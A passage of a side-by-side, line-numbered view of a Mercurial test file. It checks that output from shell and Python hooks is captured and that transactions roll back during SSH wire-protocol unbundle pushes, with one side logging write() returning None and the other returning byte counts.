1481 o> 1\n
1481 o> 1\n
1482 o> read(1) -> 1: 0
1482 o> read(1) -> 1: 0
1483 result: 0
1483 result: 0
1484 remote output:
1484 remote output:
1485 e> read(-1) -> 212:
1485 e> read(-1) -> 212:
1486 e> adding changesets\n
1486 e> adding changesets\n
1487 e> adding manifests\n
1487 e> adding manifests\n
1488 e> adding file changes\n
1488 e> adding file changes\n
1489 e> added 1 changesets with 1 changes to 1 files\n
1489 e> added 1 changesets with 1 changes to 1 files\n
1490 e> stderr 1\n
1490 e> stderr 1\n
1491 e> stderr 2\n
1491 e> stderr 2\n
1492 e> transaction abort!\n
1492 e> transaction abort!\n
1493 e> rollback completed\n
1493 e> rollback completed\n
1494 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1494 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1495
1495
1496 Shell hook writing to stdout and stderr has output captured
1496 Shell hook writing to stdout and stderr has output captured
1497
1497
1498 $ cat > $TESTTMP/hook.sh << EOF
1498 $ cat > $TESTTMP/hook.sh << EOF
1499 > echo 'stdout 1'
1499 > echo 'stdout 1'
1500 > echo 'stderr 1' 1>&2
1500 > echo 'stderr 1' 1>&2
1501 > echo 'stdout 2'
1501 > echo 'stdout 2'
1502 > echo 'stderr 2' 1>&2
1502 > echo 'stderr 2' 1>&2
1503 > exit 1
1503 > exit 1
1504 > EOF
1504 > EOF
1505
1505
1506 $ debugwireproto << EOF
1506 $ debugwireproto << EOF
1507 > command unbundle
1507 > command unbundle
1508 > # This is "force" in hex.
1508 > # This is "force" in hex.
1509 > heads 666f726365
1509 > heads 666f726365
1510 > PUSHFILE ../initial.v1.hg
1510 > PUSHFILE ../initial.v1.hg
1511 > readavailable
1511 > readavailable
1512 > EOF
1512 > EOF
1513 testing ssh1
1513 testing ssh1
1514 creating ssh peer from handshake results
1514 creating ssh peer from handshake results
1515 i> write(104) -> None:
1515 i> write(104) -> 104:
1516 i> hello\n
1516 i> hello\n
1517 i> between\n
1517 i> between\n
1518 i> pairs 81\n
1518 i> pairs 81\n
1519 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1519 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1520 i> flush() -> None
1520 i> flush() -> None
1521 o> readline() -> 4:
1521 o> readline() -> 4:
1522 o> 384\n
1522 o> 384\n
1523 o> readline() -> 384:
1523 o> readline() -> 384:
1524 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1524 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1525 o> readline() -> 2:
1525 o> readline() -> 2:
1526 o> 1\n
1526 o> 1\n
1527 o> readline() -> 1:
1527 o> readline() -> 1:
1528 o> \n
1528 o> \n
1529 sending unbundle command
1529 sending unbundle command
1530 i> write(9) -> None:
1530 i> write(9) -> 9:
1531 i> unbundle\n
1531 i> unbundle\n
1532 i> write(9) -> None:
1532 i> write(9) -> 9:
1533 i> heads 10\n
1533 i> heads 10\n
1534 i> write(10) -> None: 666f726365
1534 i> write(10) -> 10: 666f726365
1535 i> flush() -> None
1535 i> flush() -> None
1536 o> readline() -> 2:
1536 o> readline() -> 2:
1537 o> 0\n
1537 o> 0\n
1538 i> write(4) -> None:
1538 i> write(4) -> 4:
1539 i> 426\n
1539 i> 426\n
1540 i> write(426) -> None:
1540 i> write(426) -> 426:
1541 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1541 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1542 i> test\n
1542 i> test\n
1543 i> 0 0\n
1543 i> 0 0\n
1544 i> foo\n
1544 i> foo\n
1545 i> \n
1545 i> \n
1546 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1546 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1547 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1547 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1548 i> \x00\x00\x00\x00\x00\x00\x00\x00
1548 i> \x00\x00\x00\x00\x00\x00\x00\x00
1549 i> write(2) -> None:
1549 i> write(2) -> 2:
1550 i> 0\n
1550 i> 0\n
1551 i> flush() -> None
1551 i> flush() -> None
1552 o> readline() -> 2:
1552 o> readline() -> 2:
1553 o> 0\n
1553 o> 0\n
1554 o> readline() -> 2:
1554 o> readline() -> 2:
1555 o> 1\n
1555 o> 1\n
1556 o> read(1) -> 1: 0
1556 o> read(1) -> 1: 0
1557 result: 0
1557 result: 0
1558 remote output:
1558 remote output:
1559 e> read(-1) -> 230:
1559 e> read(-1) -> 230:
1560 e> adding changesets\n
1560 e> adding changesets\n
1561 e> adding manifests\n
1561 e> adding manifests\n
1562 e> adding file changes\n
1562 e> adding file changes\n
1563 e> added 1 changesets with 1 changes to 1 files\n
1563 e> added 1 changesets with 1 changes to 1 files\n
1564 e> stdout 1\n
1564 e> stdout 1\n
1565 e> stderr 1\n
1565 e> stderr 1\n
1566 e> stdout 2\n
1566 e> stdout 2\n
1567 e> stderr 2\n
1567 e> stderr 2\n
1568 e> transaction abort!\n
1568 e> transaction abort!\n
1569 e> rollback completed\n
1569 e> rollback completed\n
1570 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1570 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1571
1571
1572 testing ssh2
1572 testing ssh2
1573 creating ssh peer from handshake results
1573 creating ssh peer from handshake results
1574 i> write(171) -> None:
1574 i> write(171) -> 171:
1575 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1575 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1576 i> hello\n
1576 i> hello\n
1577 i> between\n
1577 i> between\n
1578 i> pairs 81\n
1578 i> pairs 81\n
1579 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1579 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1580 i> flush() -> None
1580 i> flush() -> None
1581 o> readline() -> 62:
1581 o> readline() -> 62:
1582 o> upgraded * exp-ssh-v2-0001\n (glob)
1582 o> upgraded * exp-ssh-v2-0001\n (glob)
1583 o> readline() -> 4:
1583 o> readline() -> 4:
1584 o> 383\n
1584 o> 383\n
1585 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1585 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1586 o> read(1) -> 1:
1586 o> read(1) -> 1:
1587 o> \n
1587 o> \n
1588 sending unbundle command
1588 sending unbundle command
1589 i> write(9) -> None:
1589 i> write(9) -> 9:
1590 i> unbundle\n
1590 i> unbundle\n
1591 i> write(9) -> None:
1591 i> write(9) -> 9:
1592 i> heads 10\n
1592 i> heads 10\n
1593 i> write(10) -> None: 666f726365
1593 i> write(10) -> 10: 666f726365
1594 i> flush() -> None
1594 i> flush() -> None
1595 o> readline() -> 2:
1595 o> readline() -> 2:
1596 o> 0\n
1596 o> 0\n
1597 i> write(4) -> None:
1597 i> write(4) -> 4:
1598 i> 426\n
1598 i> 426\n
1599 i> write(426) -> None:
1599 i> write(426) -> 426:
1600 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1600 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1601 i> test\n
1601 i> test\n
1602 i> 0 0\n
1602 i> 0 0\n
1603 i> foo\n
1603 i> foo\n
1604 i> \n
1604 i> \n
1605 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1605 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1606 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1606 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1607 i> \x00\x00\x00\x00\x00\x00\x00\x00
1607 i> \x00\x00\x00\x00\x00\x00\x00\x00
1608 i> write(2) -> None:
1608 i> write(2) -> 2:
1609 i> 0\n
1609 i> 0\n
1610 i> flush() -> None
1610 i> flush() -> None
1611 o> readline() -> 2:
1611 o> readline() -> 2:
1612 o> 0\n
1612 o> 0\n
1613 o> readline() -> 2:
1613 o> readline() -> 2:
1614 o> 1\n
1614 o> 1\n
1615 o> read(1) -> 1: 0
1615 o> read(1) -> 1: 0
1616 result: 0
1616 result: 0
1617 remote output:
1617 remote output:
1618 e> read(-1) -> 230:
1618 e> read(-1) -> 230:
1619 e> adding changesets\n
1619 e> adding changesets\n
1620 e> adding manifests\n
1620 e> adding manifests\n
1621 e> adding file changes\n
1621 e> adding file changes\n
1622 e> added 1 changesets with 1 changes to 1 files\n
1622 e> added 1 changesets with 1 changes to 1 files\n
1623 e> stdout 1\n
1623 e> stdout 1\n
1624 e> stderr 1\n
1624 e> stderr 1\n
1625 e> stdout 2\n
1625 e> stdout 2\n
1626 e> stderr 2\n
1626 e> stderr 2\n
1627 e> transaction abort!\n
1627 e> transaction abort!\n
1628 e> rollback completed\n
1628 e> rollback completed\n
1629 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1629 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1630
1630
1631 Shell and Python hooks writing to stdout and stderr have output captured
1631 Shell and Python hooks writing to stdout and stderr have output captured
1632
1632
1633 $ cat > $TESTTMP/hook.sh << EOF
1633 $ cat > $TESTTMP/hook.sh << EOF
1634 > echo 'shell stdout 1'
1634 > echo 'shell stdout 1'
1635 > echo 'shell stderr 1' 1>&2
1635 > echo 'shell stderr 1' 1>&2
1636 > echo 'shell stdout 2'
1636 > echo 'shell stdout 2'
1637 > echo 'shell stderr 2' 1>&2
1637 > echo 'shell stderr 2' 1>&2
1638 > exit 0
1638 > exit 0
1639 > EOF
1639 > EOF
1640
1640
1641 $ cat > .hg/hgrc << EOF
1641 $ cat > .hg/hgrc << EOF
1642 > [hooks]
1642 > [hooks]
1643 > pretxnchangegroup.a = sh $TESTTMP/hook.sh
1643 > pretxnchangegroup.a = sh $TESTTMP/hook.sh
1644 > pretxnchangegroup.b = python:$TESTTMP/failhook:hookprintstderrandstdout
1644 > pretxnchangegroup.b = python:$TESTTMP/failhook:hookprintstderrandstdout
1645 > EOF
1645 > EOF
1646
1646
1647 $ debugwireproto << EOF
1647 $ debugwireproto << EOF
1648 > command unbundle
1648 > command unbundle
1649 > # This is "force" in hex.
1649 > # This is "force" in hex.
1650 > heads 666f726365
1650 > heads 666f726365
1651 > PUSHFILE ../initial.v1.hg
1651 > PUSHFILE ../initial.v1.hg
1652 > readavailable
1652 > readavailable
1653 > EOF
1653 > EOF
1654 testing ssh1
1654 testing ssh1
1655 creating ssh peer from handshake results
1655 creating ssh peer from handshake results
1656 i> write(104) -> None:
1656 i> write(104) -> 104:
1657 i> hello\n
1657 i> hello\n
1658 i> between\n
1658 i> between\n
1659 i> pairs 81\n
1659 i> pairs 81\n
1660 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1660 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1661 i> flush() -> None
1661 i> flush() -> None
1662 o> readline() -> 4:
1662 o> readline() -> 4:
1663 o> 384\n
1663 o> 384\n
1664 o> readline() -> 384:
1664 o> readline() -> 384:
1665 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1665 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1666 o> readline() -> 2:
1666 o> readline() -> 2:
1667 o> 1\n
1667 o> 1\n
1668 o> readline() -> 1:
1668 o> readline() -> 1:
1669 o> \n
1669 o> \n
1670 sending unbundle command
1670 sending unbundle command
1671 i> write(9) -> None:
1671 i> write(9) -> 9:
1672 i> unbundle\n
1672 i> unbundle\n
1673 i> write(9) -> None:
1673 i> write(9) -> 9:
1674 i> heads 10\n
1674 i> heads 10\n
1675 i> write(10) -> None: 666f726365
1675 i> write(10) -> 10: 666f726365
1676 i> flush() -> None
1676 i> flush() -> None
1677 o> readline() -> 2:
1677 o> readline() -> 2:
1678 o> 0\n
1678 o> 0\n
1679 i> write(4) -> None:
1679 i> write(4) -> 4:
1680 i> 426\n
1680 i> 426\n
1681 i> write(426) -> None:
1681 i> write(426) -> 426:
1682 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1682 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1683 i> test\n
1683 i> test\n
1684 i> 0 0\n
1684 i> 0 0\n
1685 i> foo\n
1685 i> foo\n
1686 i> \n
1686 i> \n
1687 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1687 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1688 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1688 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1689 i> \x00\x00\x00\x00\x00\x00\x00\x00
1689 i> \x00\x00\x00\x00\x00\x00\x00\x00
1690 i> write(2) -> None:
1690 i> write(2) -> 2:
1691 i> 0\n
1691 i> 0\n
1692 i> flush() -> None
1692 i> flush() -> None
1693 o> readline() -> 2:
1693 o> readline() -> 2:
1694 o> 0\n
1694 o> 0\n
1695 o> readline() -> 2:
1695 o> readline() -> 2:
1696 o> 1\n
1696 o> 1\n
1697 o> read(1) -> 1: 0
1697 o> read(1) -> 1: 0
1698 result: 0
1698 result: 0
1699 remote output:
1699 remote output:
1700 e> read(-1) -> 273:
1700 e> read(-1) -> 273:
1701 e> adding changesets\n
1701 e> adding changesets\n
1702 e> adding manifests\n
1702 e> adding manifests\n
1703 e> adding file changes\n
1703 e> adding file changes\n
1704 e> added 1 changesets with 1 changes to 1 files\n
1704 e> added 1 changesets with 1 changes to 1 files\n
1705 e> shell stdout 1\n
1705 e> shell stdout 1\n
1706 e> shell stderr 1\n
1706 e> shell stderr 1\n
1707 e> shell stdout 2\n
1707 e> shell stdout 2\n
1708 e> shell stderr 2\n
1708 e> shell stderr 2\n
1709 e> stderr 1\n
1709 e> stderr 1\n
1710 e> stderr 2\n
1710 e> stderr 2\n
1711 e> stdout 1\n
1711 e> stdout 1\n
1712 e> stdout 2\n
1712 e> stdout 2\n
1713 e> transaction abort!\n
1713 e> transaction abort!\n
1714 e> rollback completed\n
1714 e> rollback completed\n
1715 e> abort: pretxnchangegroup.b hook failed\n
1715 e> abort: pretxnchangegroup.b hook failed\n
1716
1716
1717 testing ssh2
1717 testing ssh2
1718 creating ssh peer from handshake results
1718 creating ssh peer from handshake results
1719 i> write(171) -> None:
1719 i> write(171) -> 171:
1720 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1720 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1721 i> hello\n
1721 i> hello\n
1722 i> between\n
1722 i> between\n
1723 i> pairs 81\n
1723 i> pairs 81\n
1724 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1724 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1725 i> flush() -> None
1725 i> flush() -> None
1726 o> readline() -> 62:
1726 o> readline() -> 62:
1727 o> upgraded * exp-ssh-v2-0001\n (glob)
1727 o> upgraded * exp-ssh-v2-0001\n (glob)
1728 o> readline() -> 4:
1728 o> readline() -> 4:
1729 o> 383\n
1729 o> 383\n
1730 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1730 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1731 o> read(1) -> 1:
1731 o> read(1) -> 1:
1732 o> \n
1732 o> \n
1733 sending unbundle command
1733 sending unbundle command
1734 i> write(9) -> None:
1734 i> write(9) -> 9:
1735 i> unbundle\n
1735 i> unbundle\n
1736 i> write(9) -> None:
1736 i> write(9) -> 9:
1737 i> heads 10\n
1737 i> heads 10\n
1738 i> write(10) -> None: 666f726365
1738 i> write(10) -> 10: 666f726365
1739 i> flush() -> None
1739 i> flush() -> None
1740 o> readline() -> 2:
1740 o> readline() -> 2:
1741 o> 0\n
1741 o> 0\n
1742 i> write(4) -> None:
1742 i> write(4) -> 4:
1743 i> 426\n
1743 i> 426\n
1744 i> write(426) -> None:
1744 i> write(426) -> 426:
1745 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1745 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1746 i> test\n
1746 i> test\n
1747 i> 0 0\n
1747 i> 0 0\n
1748 i> foo\n
1748 i> foo\n
1749 i> \n
1749 i> \n
1750 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1750 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
